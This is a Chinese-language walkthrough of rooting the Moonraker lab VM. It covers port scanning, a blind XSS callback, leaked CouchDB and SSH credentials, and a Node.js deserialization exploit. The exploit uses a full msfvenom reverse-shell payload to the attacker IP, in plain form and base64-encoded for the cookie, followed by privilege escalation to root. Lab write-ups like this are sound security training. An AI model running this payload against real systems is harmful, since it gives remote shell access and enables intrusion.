标签：cimage top imageview root window soc this 扫描 img
仅供个人娱乐
靶机搭建与下载
Monraker靶机ip: 192.168.181.135
kali攻击者ip : 192.168.181.128
说明:获取目标主机的root权限并读取目录中的flag.txt文件
一、主机探测
Ip
arp-scan -l
netdiscover -i eth0 -r 192.168.181.1/24
nmap -sn 192.168.181.1/24
端口
nmap -sS -n 192.168.181.135
nmap -sV -n 192.168.181.135
nmap -sV -p- -A 192.168.181.135
Web
扫描之后发现目标开放了22(ssh),80(http),3000(http),4369(epmd),5984(couchDb)等端口。目标开放了http端口，用web浏览器打开查看
。
目录
看见一个robots.txt
二、漏洞查找
日志
一、创建文件
试了一下用带图片标记去查询表单
var/www/html# vi test.txt
二、开启apache2
启动apache服务，并在/var/www/html目录下新建一个测试文件test.txt，内容随便写一个。
需在终端输入“vim /etc/apache2/ports.conf” -> 键盘输入i 进入插入编辑模式 -> 修改apache2默认监听端口号为8080 -> 编辑好后，按Esc键+“：wq” 保存退出 -> 在终端输入“/etc/init.d/apache2 start”
/etc/init.d/apache2 start
三、输入xss
<img src=”http://192.168.181.128/test.txt”></img>
点击提交后
Windows
Kali
使用命令查看日志
使用命令查看日志
tail -f /var/log/apache2/access.log
可以发现日志http refefer地址：http://192.168.1.10/svc-inq/salesmoon-gui.php
在日志中发现了新的页面，在浏览器打开
在新的页面里有两个链接
打开CouchDB Notes在这个页面得到了关于用户的账号密码提示，这个对我们来说是很重要的。
账号密码提示
username: jaws
password: 女朋友名字+x99的组合
百度或者谷歌jaws的女朋友
然后根据提示信息，接下来就应该要查看couchdb这个了，这个怎么打开呢，我们在扫描端口时是开放了一个5984端口就是用来访问这个的，于是打开浏览器访问
已获取到Fauxton系统中Apache CouchDB的用户名和密码。要了解有关Fauxton和CouchDB的更多信息，我们可以通过googel搜索
http://docs.couchdb.org/en/stable/fauxton/install.html
四、登录数据库
使用jaws账号密码登录
username: jaws
password: dollyx99
在links里发现写信息，访问提示的目录
其中在HR这个目录发现了重要的信息
访问这个5界面可以得到4个账号和密码
我也尝试了这些账号密码去ssh爆破，都无果，难道这些账号是用来混淆的?
其中hugo这个账号正是我们想要的，因为我们在这个页面发现是有node.js反序列化漏洞的
Node.js反序列化的漏洞执行远程代码
http://192.168.181.135:3000
username: hugo
password: TempleLasersL2K
登录后
Bp抓包修改cookie
接下来使用burp抓包，注意要抓登录的包，然后先发送到repeater,g根据右边setCookies提示设置
开始利用,因为这个应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数.由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值从而来以利用此漏洞.
漏洞分析https://www.anquanke.com/post/id/85458
使用msfvenom生成nodejs反弹shell
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.181.128 LPORT=1521
(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1521, "192.168.181.128", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();
从终端输出msfvenom到rce.js
进行修改
{"rce":"_$$ND_FUNC$$_function (){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? \"cmd\" : \"/bin/sh\"; var net = require(\"net\"), cp = require(\"child_process\"), util = require(\"util\"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1521, \"192.168.181.128\", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === \"undefined\") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(\"error\", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); }()"}
将以上payload做base64编码
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gXCJjbWRcIiA6IFwiL2Jpbi9zaFwiOyB2YXIgbmV0ID0gcmVxdWlyZShcIm5ldFwiKSwgY3AgPSByZXF1aXJlKFwiY2hpbGRfcHJvY2Vzc1wiKSwgdXRpbCA9IHJlcXVpcmUoXCJ1dGlsXCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50ID0gdGhpczsgdmFyIGNvdW50ZXI9MDsgZnVuY3Rpb24gU3RhZ2VyUmVwZWF0KCl7IGNsaWVudC5zb2NrZXQgPSBuZXQuY29ubmVjdCgxNTIxLCBcIjE5Mi4xNjguMTgxLjEyOFwiLCBmdW5jdGlvbigpIHsgY2xpZW50LnNvY2tldC5waXBlKHNoLnN0ZGluKTsgaWYgKHR5cGVvZiB1dGlsLnB1bXAgPT09IFwidW5kZWZpbmVkXCIpIHsgc2guc3Rkb3V0LnBpcGUoY2xpZW50LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbihcImVycm9yXCIsIGZ1bmN0aW9uKGVycm9yKSB7IGNvdW50ZXIrKzsgaWYoY291bnRlcjw9IDEwKXsgc2V0VGltZW91dChmdW5jdGlvbigpIHsgU3RhZ2VyUmVwZWF0KCk7fSwgNSoxMDAwKTsgfSBlbHNlIHByb2Nlc3MuZXhpdCgpOyB9KTsgfSBTdGFnZXJSZXBlYXQoKTsgfSgpIn0=
nc 监听反弹
为了方便shell,使用python进行shell交互
python -c ‘import pty; pty.spawn("/bin/bash")‘
查看开放的端口，发现开启了邮件服务，
netstat -pantu
在/var/mail目录下存在邮件但是权限不足无法查看
了解CouchDB的配置后，发现默认的安装目录为/opt/couchdb目录下，在配置文件中找到密码.
tail /opt/couchdb/etc/local.ini
username: hugo
password: 321Blast0ff!!
cd /var/mail
Ls
cat hugo
信息中提到包括root的密码，又告诉我们在root密码后面+VR00M,和一段hash值，复制到文件进行hash破解
su root
Password: cyberVR00M
flag信息查看
成功以root身份登录，在检查其邮件目录时，我们找到了flag.txt文件。
root@moonraker:~# cd /root
root@moonraker:~# ls
coreDesktop Downloads flag.txt
root@moonraker:~# cat flag.txt
参考https://www.anquanke.com/post/id/173159
标签：cimage top imageview root window soc this 扫描 img
原文地址：https://www.cnblogs.com/bingtang123/p/12838361.html
